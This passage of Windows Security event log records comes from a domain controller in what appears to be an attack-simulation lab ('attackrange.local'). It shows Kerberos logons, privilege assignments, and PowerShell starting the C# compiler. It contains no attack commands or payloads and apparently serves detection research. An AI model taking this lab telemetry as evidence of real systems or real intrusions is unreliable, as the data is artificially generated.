The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250679
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117420

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250678
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x116E39

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250677
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1173B5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250676
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1173B5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64471

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250675
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1173B5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250674
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11734F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250673
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11734F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64470

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250672
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11734F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250671
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1172EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250670
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1172EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64469

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250669
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1172EE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250668
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115AC3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250759
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1304
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESCA51.tmp" "c:\Users\Administrator\AppData\Local\Temp\uy02bgoh\CSCF723FA60D3FA49C8BA1199CC7140F115.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1304
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\uy02bgoh\uy02bgoh.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250757
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A49C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250756
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A49C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250755
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250754
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250753
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250751
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A346

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250750
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11A346
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64476

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250749
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A346

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250748
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A2E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250747
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11A2E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64475

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250746
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A2E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250745
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A27D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250744
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11A27D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
